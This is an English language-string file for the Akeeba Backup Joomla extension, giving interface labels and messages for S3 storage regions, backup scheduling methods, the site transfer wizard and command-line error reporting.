COM_AKEEBABACKUP_S3_REGION_EUCENTRAL1="Europe, Central (Frankfurt)"
COM_AKEEBABACKUP_S3_REGION_EUCENTRAL2="Europe, Central (Zurich)"
COM_AKEEBABACKUP_S3_REGION_EUNORTH1="Europe, North (Stockholm)"
COM_AKEEBABACKUP_S3_REGION_EUSOUTH1="Europe, South (Milan)"
COM_AKEEBABACKUP_S3_REGION_EUSOUTH2="Europe, South (Spain)"
COM_AKEEBABACKUP_S3_REGION_EUWEST1="Europe, West (Ireland)"
COM_AKEEBABACKUP_S3_REGION_EUWEST2="Europe, West (London)"
COM_AKEEBABACKUP_S3_REGION_EUWEST3="Europe, West (Paris)"
COM_AKEEBABACKUP_S3_REGION_MECENTRAL1="Middle East, Central (UAE)"
COM_AKEEBABACKUP_S3_REGION_MESOUTH1="Middle East, South (Bahrain)"
COM_AKEEBABACKUP_S3_REGION_SAEAST1="South America, East (São Paulo)"
COM_AKEEBABACKUP_S3_REGION_USEAST1="US East (N. Virginia)"
COM_AKEEBABACKUP_S3_REGION_USEAST2="US East (Ohio)"
COM_AKEEBABACKUP_S3_REGION_USWEST1="US West (N. California)"
COM_AKEEBABACKUP_S3_REGION_USWEST2="US West (Oregon)"
COM_AKEEBABACKUP_S3_REGION_USGOVEAST1="AWS GovCloud (US-East)"
COM_AKEEBABACKUP_S3_REGION_USGOVEAST2="AWS GovCloud (US-West)"
COM_AKEEBABACKUP_S3_RRS_DEEP_ARCHIVE="Deep Archive"
COM_AKEEBABACKUP_S3_RRS_GLACIER="Glacier"
COM_AKEEBABACKUP_S3_RRS_INTELLIGENT_TIERING="Intelligent Tiering"
COM_AKEEBABACKUP_S3_RRS_ONEZONE_IA="One Zone - Infrequent Access"
COM_AKEEBABACKUP_S3_RRS_RRS="Reduced Redundancy Storage"
COM_AKEEBABACKUP_S3_RRS_STANDARD="Standard storage"
COM_AKEEBABACKUP_S3_RRS_STANDARD_IA="Standard - Infrequent Access"
COM_AKEEBABACKUP_S3_SIGNATURE_DESCRIPTION="Specify the request signature method. Use v4 if unsure. You may have to use v2 with third party storage services (i.e. when you specify a custom endpoint)."
COM_AKEEBABACKUP_S3_SIGNATURE_TITLE="Signature method"
COM_AKEEBABACKUP_S3_SIGNATURE_V2="v2 (legacy mode, third party storage providers)"
COM_AKEEBABACKUP_S3_SIGNATURE_V4="v4 (preferred for Amazon S3)"
COM_AKEEBABACKUP_S3_CUSTOM_REGION_TITLE="Custom Amazon S3 Region"
COM_AKEEBABACKUP_S3_CUSTOM_REGION_DESCRIPTION="Set the option above to “Custom / None” and enter here the name of the region you want to use, e.g. <code>us-east-1</code> for US East (N. Virginia).<br/>This is meant to be used with new S3 regions we have not already listed above or with third party S3-compatible services which use the S3 v4 API and their own, custom, service-specific region names."

COM_AKEEBABACKUP_SCHEDULE="Schedule Automatic Backups"

COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER="Joomla Scheduled Tasks"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_INFO="You can create backup tasks using Joomla's Scheduled Tasks feature. Please read the documentation first to understand the compromises and potential problems depending on the way you choose to trigger Joomla's Scheduled Tasks."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_BUTTON="Manage your Scheduled Tasks"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_ONLYJ41_HEAD="Scheduled Tasks are only available on Joomla 4.1 and later"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_ONLYJ41_BODY="Joomla introduced the Scheduled Tasks feature in Joomla! version 4.1.0. Please update your site to the latest Joomla version to get access to Scheduled Tasks."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_HEAD="The “Task – Akeeba Backup” plugin is disabled."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_BODY=”The “Task – Akeeba Backup” plugin must be enabled for Joomla's Scheduled Tasks to know how to run backups with Akeeba Backup. Please go to System, Manage, Plugins and enable the plugin. Alternatively click the following button to edit the plugin directly.”
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_BUTTON="Edit the plugin"

COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON="Alternative Command-Line CRON jobs"
COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON_INFO="This method is recommended only if the regular Command-Line CRON job does not complete. Even though it is running through Joomla's console application, it will go through Joomla's web application — using Akeeba Backup's front-end backup method — which makes it slower than the native CLI method."
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECKHEADERINFO="<p>When a scheduled backup fails it typically means that PHP stopped working before the backup is complete. Therefore Akeeba Backup cannot notify you of the backup failure in the same way it notifies you for the backup finishing successfully or with warnings.</p><p>To solve that problem you can schedule the latest backup checks to run after the expected end of your backup run. Not sure when would that be? Ideally, it should be the length of the last successful backup recorded in the Manage Backups page plus half an hour.</p><p>You can schedule this check with many different methods, just like the backup itself. Below you will find more information about each scheduling method available for backup checks. If you are unsure which one to use we recommend that you use the same scheduling method as your backups.</p>"
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_BACKUPS="Check Backup Status"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON="Command-Line CRON jobs (recommended)"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON_INFO="This is the recommended method for all servers supporting command-line CRON jobs. This method uses Joomla's console (CLI) application — instead of Joomla!'s web application — achieving maximum backup speed."
COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICIMPROTANTINFO="Important"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICINFO="Remember to substitute <em>%s</em> with the real path to your host's PHP <strong>CLI (Command Line Interface)</strong> executable. Do remember that you must use the PHP CLI executable; the PHP CGI (Common Gateway Interface) executable will <em>not</em> work with Joomla's CLI application. If unsure what this means, please consult your host. They are the only people who can provide this information."
COM_AKEEBABACKUP_SCHEDULE_LBL_ACCURATEINFO="Akeeba Backup detected that the <em>most likely</em> path to PHP CLI is <code>%s</code> and used it in the command line displayed above. If this does not work, please replace <code>%1$s</code> with the real path to your host's PHP <strong>CLI (Command Line Interface)</strong> executable. This is a piece of information your host will be able to provide."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP="Front-end Backup Feature"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_INFO="This method uses a public URL and a secret key to trigger a backup of your site. The backup progresses by means of HTTP redirects. Please note that most hosts' URL-based ‘CRON’ jobs, as well as most third-party URL-based CRON services, do not support HTTP redirects. If the examples with wget and curl below don't work for you, please use the front-end backup URL with the very cheap webcron.org third party service."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_MANYMETHODS="The front-end backup feature can be used with a great variety of methods. Click the tabs below to see all each method's description. Remember that all of them are explained in detail in our documentation."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_CURL="cURL"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_SCRIPT="PHP Script"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_URL="URL"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WEBCRON="WebCron.org"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WGET="WGet"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDCHECK="Front-end Backup Check Feature"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CURL="CRON scheduling using curl (macOS, Linux, some hosts):"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CUSTOMSCRIPT="Custom PHP script to run the front-end backup:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_DISABLED="The front-end backup feature of Akeeba Backup is not enabled. You cannot use this scheduling method unless you enable it. Please go to Akeeba Backup's Control Panel, click on the Options button in the toolbar and enable the front-end backup feature. Do not forget to also specify a secret word of your liking."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_RAWURL="URL for use with your own scripts and third party services:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_SECRET="The front-end backup feature's secret key is empty. You cannot use this scheduling method unless you create a secret key. Please go to Akeeba Backup's Control Panel, click on the Options button in the toolbar and enter a secret key of your liking."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON="Configuration of a backup job with WebCron.org:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS="Alerts"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS_INFO="If you have already set up alert methods in webcron.org's interface, we recommend choosing an alert method here and not checking the 'Only on error' so that you always get a notification when the backup CRON job runs."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME="Execution time"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME_INFO="That's the grid below the other options. Select when and how often you want your CRON job to run."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_INFO="Log in to webcron.org. In the CRON area, click on the New Cron button. Below you'll find what you have to enter at webcron.org's interface."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGIN="Login"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGINPASSWORD_INFO="Leave this blank"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME="Name of cronjob"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME_INFO="Anything you like, e.g. <em>Backup of my site</em>"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_PASSWORD="Password"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_THENCLICKSUBMIT="Finally, click on the Submit button to finish setting up your CRON job."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT="Timeout"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT_INFO="180sec; if the backup doesn't complete, increase it. Most sites will work with a setting of 180 or 600 here. If you have a very big site which takes more than 5 minutes to back itself up, you might consider using Akeeba Backup Professional and the native CLI CRON job instead, as it's much more cost-effective."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_URL="Url you want to execute"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WGET="CRON scheduling using wget (most hosts, most Linux distributions):"
COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICREADDOC="Read the documentation"
COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICUSECLI="Use the following command in your host's CRON interface:"
COM_AKEEBABACKUP_SCHEDULE_LBL_HEADERINFO="Akeeba Backup offers several scheduling methods. You will find more information about each scheduling method below. Please do read the documentation of each scheduling method. It will answer a lot of your questions and will help you schedule your backups more easily."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPIBACKUP="Remote Backup (JSON API) Feature"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPIBACKUP_INFO="You can use this method to take backups of your site remotely using our software that supports such a feature (e.g. Akeeba Remote CLI and Akeeba UNiTE)."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_DISABLED="Please go to Akeeba Backup, click on Options, then the Frontend tab. Set “Enable JSON API (remote backup)” to Yes to enable this feature."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI="Akeeba Remote CLI"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_INTRO="You can use the Akeeba Remote CLI command line application to take backups of your sites remotely. You can schedule these commands on your computer, or another server, to automate your backups."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_DOCKER="To take a backup using the Akeeba Remote CLI through <strong>Docker</strong> run the following command:"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_PHAR="To take a backup using the Akeeba Remote CLI using the <strong>PHAR archive</strong> you can  download from our site run the following command:"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_OTHER="Other tools"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_INTRO="If you are using Akeeba UNiTE, or other software using the Remote JSON API, you will have to provide the following information."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ENDPOINT="Endpoint URL"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_SECRET="Secret Key"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_DISCLAIMER="Akeeba Ltd does not endorse, accept liability, or provide support for third party software or services interfacing Akeeba Backup over the JSON API. We will provide support for taking backups with the Akeeba JSON API only if the Secret Key is generated automatically by our software and the request concerns using our own Akeeba JSON API client software (e.g. Akeeba Remote CLI)."
COM_AKEEBABACKUP_SCHEDULE_LBL_LEGACYAPI_DISABLED="Please go to Akeeba Backup, click on Options, then the Frontend tab. Set “Enable Legacy Front-end Backup API (remote CRON jobs)” to Yes to enable this feature."
COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_LEGACYAPI="Enable the Legacy Front-end Backup API"
COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_JSONAPI="Enable the Akeeba JSON API"
COM_AKEEBABACKUP_SCHEDULE_BTN_RESET_SECRETWORD="Reset the Secret Key"
COM_AKEEBABACKUP_SCHEDULE_LBL_RUN_BACKUPS="Run Backups"
COM_AKEEBABACKUP_SCHEDULE_LBL_UPGRADENOW="Upgrade Now"
COM_AKEEBABACKUP_SCHEDULE_LBL_UPGRADETOPRO="This feature is only available in Akeeba Backup Professional"
COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_HEAD="The <em>Console – Akeeba Backup</em> plugin is disabled."
COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_BODY="Please go to System, Manage, Plugins and enable the “Console – Akeeba Backup”. It is necessary for this feature to work."

COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_UPLOADS="Check Backup Uploads"
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_UPLOADS_HEADERINFO="<p>When a backup fails to upload the backup to is configured remote storage, it is typically not considered a backup failure (unless you have explicitly selected to treat it as a failure). That's because the backup archive still exists on your server. You do need, however, to go back to your site and retry the upload from the Manage Backups page – perhaps also fix any connection issues with the remote storage.</p></p>The typical problem with that is that you may not know that the upload failed. This is where the backup uploads check comes into play. Schedule it to run after your scheduled backups would've normally finished, and it will send you an email if any of your backups taken since the last time the check ran has failed to upload to its configured remote storage.</p><p>You can schedule this check with many different methods, just like the backup itself. Below you will find more information about each scheduling method available for backup upload checks. If you are unsure which one to use we recommend that you use the same scheduling method as your backups.</p>"


COM_AKEEBABACKUP_TITLE_ALICES="Troubleshooter - ALICE"

COM_AKEEBABACKUP_TRANSFER="Site Transfer Wizard"
COM_AKEEBABACKUP_TRANSFER_BTN_FTP_PROCEED="Proceed with restoration"
COM_AKEEBABACKUP_TRANSFER_BTN_OPEN_KICKSTART="Run Kickstart"
COM_AKEEBABACKUP_TRANSFER_BTN_RESET="Reset"
COM_AKEEBABACKUP_TRANSFER_DESC="Transfers the archive by running the \"%s\" post-processing engine against the archive."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTACCESSTESTFILE="Akeeba Backup cannot verify that the connection information you entered corresponds to the site URL you have entered. If you are trying to restore inside a subdirectory of an existing site this means that the main site is blocking access to the subdirectory; please contact your site administrator. In any other case you have entered the wrong connection information, most likely a wrong directory. Please contact your host and ask them for the correct connection information, <em>including the directory</em>, which corresponds to your the URL you have entered in this wizard. Then come back here, enter the correct information and continue with the restoration."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTREADLOCALFILE="Akeeba Backup cannot read from the local backup file <code>%s</code>. This wizard has failed. Please take a new backup and retry. Do note that files have been left behind on your new server; you may want to remove them manually."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTRUNKICKSTART="Akeeba Backup cannot run Akeeba Kickstart on your new site. If you are trying to restore inside a subdirectory of an existing site this means that the main site is blocking access to the subdirectory; please contact your site administrator. In any other case you need to contact your host and verify that your default PHP version matches Kickstart's minimum requirements."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADARCHIVE="Akeeba Backup cannot upload the backup file <code>%s</code>. It's possible that your new site's server has ran out of disk space or a server protection is blocking the transmission of the data. Please try transferring your site by selecting the Manually transfer option. Do note that files have been left behind on your new server; you may want to remove them manually."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADKICKSTART="Akeeba Backup cannot upload Akeeba Kickstart to your new site's root. Please check that you have entered the correct connection information and that it's possible for the FTP/SFTP user to write files into the directory you selected. If you already have kickstart.php and kickstart.transfer.php on the remote site please remove them before retrying transferring your site."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADTEMP="Akeeba Backup cannot upload a chunk of your backup archive from the local file <code>%s</code> to the remote file <code>%s</code>. Please check that your remote server allows uploading files and there is enough disk space on it for your backup archive file(s)."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADTESTFILE="Akeeba Backup cannot upload a test file called <code>%s</code> to your new site's root. Please check that you have entered the correct connection information and that it's possible for the FTP/SFTP user to write files into the directory you selected."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTWRITEREMOTEFILES="Unfortunately, Akeeba Backup has determined it cannot write directly to files on your remote server. This wizard cannot proceed. You will have to use the \"Manually\" transfer method."
COM_AKEEBABACKUP_TRANSFER_ERR_CANTCREATETEMPCHUNK="Cannot create a temporary file on this server. Please check that your temporary directory is correctly set up and writeable by the user the web server is currently running under."
COM_AKEEBABACKUP_TRANSFER_ERR_COMPLETEBACKUP="No such backup is found. Click the Backup Now button to take a new backup now."
COM_AKEEBABACKUP_TRANSFER_ERR_COMPLETEBACKUP_SPECIFIC="Backup #%d cannot be transferred. It is either not a complete, full site backup or its archive files are no longer present on this server."
COM_AKEEBABACKUP_TRANSFER_ERR_DNS="The domain name of the URL you have entered (%s) cannot be resolved from the server where Akeeba Backup is running on. If you have recently registered or transferred the domain name please allow more time until DNS servers are updated (typically 6 to 48 hours). Otherwise please check the DNS settings of your domain name."
COM_AKEEBABACKUP_TRANSFER_ERR_ERRORFROMREMOTE="Akeeba Backup has received an error from the remote server while trying to upload the backup archive. The error was: %s"
COM_AKEEBABACKUP_TRANSFER_ERR_EXISTINGSITE="Another site already exists in that location. Please remove the existing site before transferring a new site there. Trying to overwrite an existing site will most likely result in a broken site you won't be able to fix."
COM_AKEEBABACKUP_TRANSFER_ERR_HTACCESS="A <code>%s</code> file was found in your new site's root. This file can interfere with the site transfer process. Please remove it before proceeding with the site transfer. Please note that the file may be <em>hidden</em>. If you don't see this file in your hosting control panel file browser or FTP client software please ask your host for more information on removing this file."
COM_AKEEBABACKUP_TRANSFER_ERR_INVALIDID="Internal error: the backup ID to upload is invalid or missing."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_BTN="Check"
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_BTN_IGNOREERROR="I want to ignore this warning and proceed <strong>at my own risk</strong>"
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_INVALID="The URL you entered is invalid."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_NOTEXISTS="Your server cannot access the URL you have entered. Please check that you typed it correctly. Also note that newly assigned or transferred domain names may take <strong>up to 48 hours</strong> before they are visible to every server and computer connected to the Internet."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_SAME="The URL you entered is the same as the one you are restoring from. This is not supported by this wizard. For backup restoration without using the wizard please consult our video tutorial following the link below."
COM_AKEEBABACKUP_TRANSFER_ERR_NOTENOUGHSPACE="The site transfer cannot proceed. You need approximately %s of free space but your server reports that only %s is currently available. Please make more space on your server."
COM_AKEEBABACKUP_TRANSFER_ERR_OVERRIDE="Ignore detected errors and transfer the site anyway"
COM_AKEEBABACKUP_TRANSFER_ERR_SAMESITE="You have entered the connection information to the site you are transferring from. <strong>Your mistake would have deleted your own site</strong>. You need to enter the FTP/SFTP connection information to the site you are transferring <strong>to</strong> (new site or new server). Please fix the information above and retry."
COM_AKEEBABACKUP_TRANSFER_ERR_SPACE="You only have <span></span> of free space. You need more free space to transfer your site. Please contact your host."
COM_AKEEBABACKUP_TRANSFER_ERR_WRONGSSL="Your site has an invalid or self-signed SSL certificate. For security reasons the site transfer cannot proceed. Please click Reset to restart the site transfer and use a URL without <code>https://</code>. This is necessary when you are trying to transfer your site before transferring your domain name to the new host. Alternatively, please contact your host for obtaining a valid SSL certificate. Even a free one issued through the no cost Let's Encrypt certification authority will do."
COM_AKEEBABACKUP_TRANSFER_FORCE_BODY="You are running Site Transfer Wizard in Forced Mode. This means that some sanity checks which normally run before the site transfer will not be executed. As a result the transfer may overwrite an existing site, end up in a different URL than the one you expected or simply fail. <strong>This is a power user feature. Please do not continue if you don't feel comfortable with it.</strong>"
COM_AKEEBABACKUP_TRANSFER_FORCE_HEADER="Forced Mode activated"
COM_AKEEBABACKUP_TRANSFER_HEAD_MANUALTRANSFER="Manual transfer"
COM_AKEEBABACKUP_TRANSFER_HEAD_PREREQUISITES="Prerequisites"
COM_AKEEBABACKUP_TRANSFER_HEAD_REMOTECONNECTION="Connection to New Site"
COM_AKEEBABACKUP_TRANSFER_HEAD_UPLOAD="Upload and restore"
COM_AKEEBABACKUP_TRANSFER_LBL_CHUNKSIZE="Chunk size"
COM_AKEEBABACKUP_TRANSFER_LBL_CHUNKSIZE_INFO="The backup archive files are transferred in small chunks to the remote server. This determines the size of these chunks. Too small sizes may cause the remote server to block you, mistaking you as an abuser, causing an upload error to be displayed. Too large sizes may result in a timeout error on either the source or the remote server, causing an AJAX Error to be displayed. Typically, values between 5M to 20M work best."
COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP="A complete, full site backup"
COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP_INFO="Backup found; taken on %s"
COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP_INFO_SPECIFIC="Using backup #%1$d; taken on %2$s"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_DIRECTORY="FTP/SFTP Directory"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_HOST="Host name"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PASSIVE="Passive mode"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PASSWORD="Password"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PORT="Port"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PRIVATEKEY="SFTP Private Key file"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PUBKEY="SFTP Public Key file"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_USERNAME="Username"
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_INFO="Follow the instructions in the video to transfer your site manually. Information about the backup archive can be found below the video link (scroll down)."
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_LINK="Watch the video tutorial"
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_MULTIPART="You must transfer <strong>all</strong> %u files:"
COM_AKEEBABACKUP_TRANSFER_LBL_NEWURL="The URL to your new site"
COM_AKEEBABACKUP_TRANSFER_LBL_NEWURL_TIP="Enter the URL to the site you are restoring to"
COM_AKEEBABACKUP_TRANSFER_LBL_OPEN_KICKSTART_INFO="Kickstart will let you extract the backup archive and begin restoration on the remote server."
COM_AKEEBABACKUP_TRANSFER_LBL_SPACE="Approximately %s of free space on your new site"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD="File transfer method"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTP="FTP, native PHP functions"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPCURL="FTP, using cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPS="FTPS, native PHP functions"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPSCURL="FTPS, using cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_MANUALLY="Manually"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_SFTP="SFTP, native PHP SSH2 extension"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_SFTPCURL="SFTP, using cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE="Archive transfer mode"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_CHUNKED="Over FTP / SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_INFO="The backup archive files are transferred in small chunks to the remote server and then assembled into whole files there. This option controls how these small chunks are transferred."
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_POST="Over HTTP / HTTPS"
COM_AKEEBABACKUP_TRANSFER_LBL_UPLOAD_BACKUP="Uploading the backup archive"
COM_AKEEBABACKUP_TRANSFER_LBL_UPLOAD_KICKSTART="Uploading Kickstart"
COM_AKEEBABACKUP_TRANSFER_LBL_VALIDATING="Validating…"
COM_AKEEBABACKUP_TRANSFER_MSG_DONE="Uploading is complete!"
COM_AKEEBABACKUP_TRANSFER_MSG_FAILED="Uploading the backup archive failed."
COM_AKEEBABACKUP_TRANSFER_MSG_START="Preparing to upload your archive. This will take some time. Please wait."
COM_AKEEBABACKUP_TRANSFER_MSG_UPLOADINGFRAG="Continuing the upload of archive part %s of %s. Currently processing chunk %s. Please wait."
COM_AKEEBABACKUP_TRANSFER_MSG_UPLOADINGPART="Uploading archive part %s of %s. Please wait."
COM_AKEEBABACKUP_TRANSFER_TITLE="Transfer Archive"
COM_AKEEBABACKUP_TRANSFER_WARN_FIREWALLED_BODY="Some of the transfer methods listed above and marked with &#128274; are blocked by a firewall on your server. If you use them this wizard will most likely fail. Please contact your host and ask them to disable the firewall or add firewall exceptions before transferring your site. Alternatively, please select Manually above, click on Proceed with restoration and follow the instructions for a manual site transfer."
COM_AKEEBABACKUP_TRANSFER_WARN_FIREWALLED_HEAD="Server firewall blocking file transfers - THIS WIZARD MAY FAIL"

COM_AKEEBABACKUP_FILTER_SELECT_FROZEN="– Frozen –"
COM_AKEEBABACKUP_FILTER_SELECT_PROFILEID="– Backup Profile –"

COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE="Cannot load the Akeeba Backup engine."

COM_AKEEBABACKUP_CLI_ERR_CANNOT_GENERATE_YAML="Cannot generate YAML"
COM_AKEEBABACKUP_CLI_ERR_YAML_EXTENSION_NOT_FOUND="Your PHP installation does not have the PHP YAML extension installed or enabled."
COM_AKEEBABACKUP_CLI_ERR_UNSET_TIME_LIMITS="Could not unset time limit restrictions; you may get a timeout error."
COM_AKEEBABACKUP_CLI_ERR_NO_LIVE_SITE="This script could not detect your live site's URL. Please visit Akeeba Backup's Control Panel page at least once before running this script, so that this information can be stored for use by this script."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_DISABLED="Your Akeeba Backup installation's front-end backup feature is currently disabled. Please log in to your site's back-end as a Super User, go to Akeeba Backup's Control Panel, click on the Options icon in the top right corner and enable the front-end backup feature. Do not forget to also set a Secret Word!"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOSECRET="You have enabled the front-end backup feature, but you forgot to set a secret word. Without a valid secret word this script can not continue. Please log in to your site's back-end as a Super Administrator, go to Akeeba Backup's Control Panel, click on the Options icon in the top right corner set a Secret Word."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOMETHOD="Could not find any supported method for running the front-end backup feature of Akeeba Backup. Please check with your host that at least one of the following features are supported in your PHP configuration:"
COM_AKEEBABACKUP_CLI_ERR_FECHECK_NOMETHOD="Could not find any supported method for running the front-end failed backup backup feature of Akeeba Backup. Please check with your host that at least one of the following features are supported in your PHP configuration:"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_CURL="1. The cURL extension"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_FOPEN="2. The fopen() URL wrappers, i.e. allow_url_fopen is enabled"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_METHOD_NOMETHOD="If neither method is available you will not be able to backup your site using this CLI command."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_METHOD_NOMETHOD="If neither method is available you will not be able to check your site for failed backups using this CLI command."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_HTTP_ERROR="Your backup attempt failed with HTTP error code %d (%s). Please check the backup log and your server's error log for more information."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_HTTP_ERROR="Your failed backup check attempt failed with HTTP error code %d (%s). Please check your server's error log for more information."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NO_MESSAGE_FROM_SERVER="Your backup attempt has timed out, or a fatal PHP error has occurred. Please check the backup log and your server's error log for more information."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_NO_MESSAGE_FROM_SERVER="Your attempt to check for failed backups has timed out, or a fatal PHP error has occurred."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR_RECEIVED="A backup error has occurred. The server's response was:"
COM_AKEEBABACKUP_CLI_ERR_FECHECK_ERROR_RECEIVED="A failed backups check error has occurred. The server's response was:"
